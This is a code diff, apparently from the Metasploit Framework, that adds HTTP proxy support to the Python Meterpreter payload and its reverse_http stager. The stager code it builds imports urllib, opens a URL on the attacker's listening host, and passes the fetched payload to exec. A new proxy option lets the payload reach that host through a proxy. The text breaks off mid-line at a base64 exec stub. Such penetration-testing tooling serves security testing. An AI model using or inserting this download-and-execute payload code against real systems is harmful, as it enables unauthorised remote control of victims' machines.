diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 6076cca304..bb4408f95f 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -19,7 +19,7 @@ else: has_windll = hasattr(ctypes, 'windll') try: - urllib_imports = ['build_opener', 'install_opener', 'urlopen'] + urllib_imports = ['ProxyHandler', 'build_opener', 'install_opener', 'urlopen'] if sys.version_info[0] < 3: urllib = __import__('urllib2', fromlist=urllib_imports) else: @@ -49,6 +49,7 @@ DEBUGGING = False HTTP_COMMUNICATION_TIMEOUT = 300 HTTP_CONNECTION_URL = None HTTP_EXPIRATION_TIMEOUT = 604800 +HTTP_PROXY = None HTTP_USER_AGENT = None PACKET_TYPE_REQUEST = 0 @@ -326,7 +327,11 @@ class PythonMeterpreter(object): self.running = True def driver_init_http(self): - opener = urllib.build_opener() + if HTTP_PROXY: + proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY}) + opener = urllib.build_opener(proxy_handler) + else: + opener = urllib.build_opener() if HTTP_USER_AGENT: opener.addheaders = [('User-Agent', HTTP_USER_AGENT)] urllib.install_opener(opener) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index ff04d49a45..8d2017b1bd 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -211,6 +211,11 @@ protected blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") + unless datastore['PROXYHOST'].blank? + proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") + end + resp.body = blob # Short-circuit the payload's handle_connection processing for create_session diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb index 1cc216f6d6..35e5a40cb7 100644 --- a/lib/msf/core/handler/reverse_https_proxy.rb +++ b/lib/msf/core/handler/reverse_https_proxy.rb @@ -45,7 +45,7 @@ module ReverseHttpsProxy OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]), OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]), OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"]) - ], Msf::Handler::ReverseHttpsProxy) + ], Msf::Handler::ReverseHttpsProxy) register_advanced_options( [ diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 0a3fc8b609..95e263a3be 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -19,9 +19,14 @@ module Metasploit3 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseHttp, - 'Convention' => 'http', 'Stager' => {'Payload' => ""} )) + + register_options( + [ + OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]), + OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]) + ], Msf::Handler::ReverseHttp) end # @@ -30,6 +35,10 @@ module Metasploit3 def generate lhost = datastore['LHOST'] || Rex::Socket.source_address + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) + } + target_url = 'http://' target_url << lhost target_url << ':' @@ -38,7 +47,16 @@ module Metasploit3 target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP) cmd = "import sys\n" - cmd << "exec(__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=['urlopen']).urlopen('#{target_url}').read())\n" + if datastore['PROXYHOST'].blank? + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener'])\n" + cmd << "opener=ul.build_opener()\n" + else + proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" + cmd << "opener=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" + end + cmd << "opener.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" + cmd << "exec(opener.open('#{target_url}').read())\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop b64_stub = "import base64,sys;exec(base64.b64decode("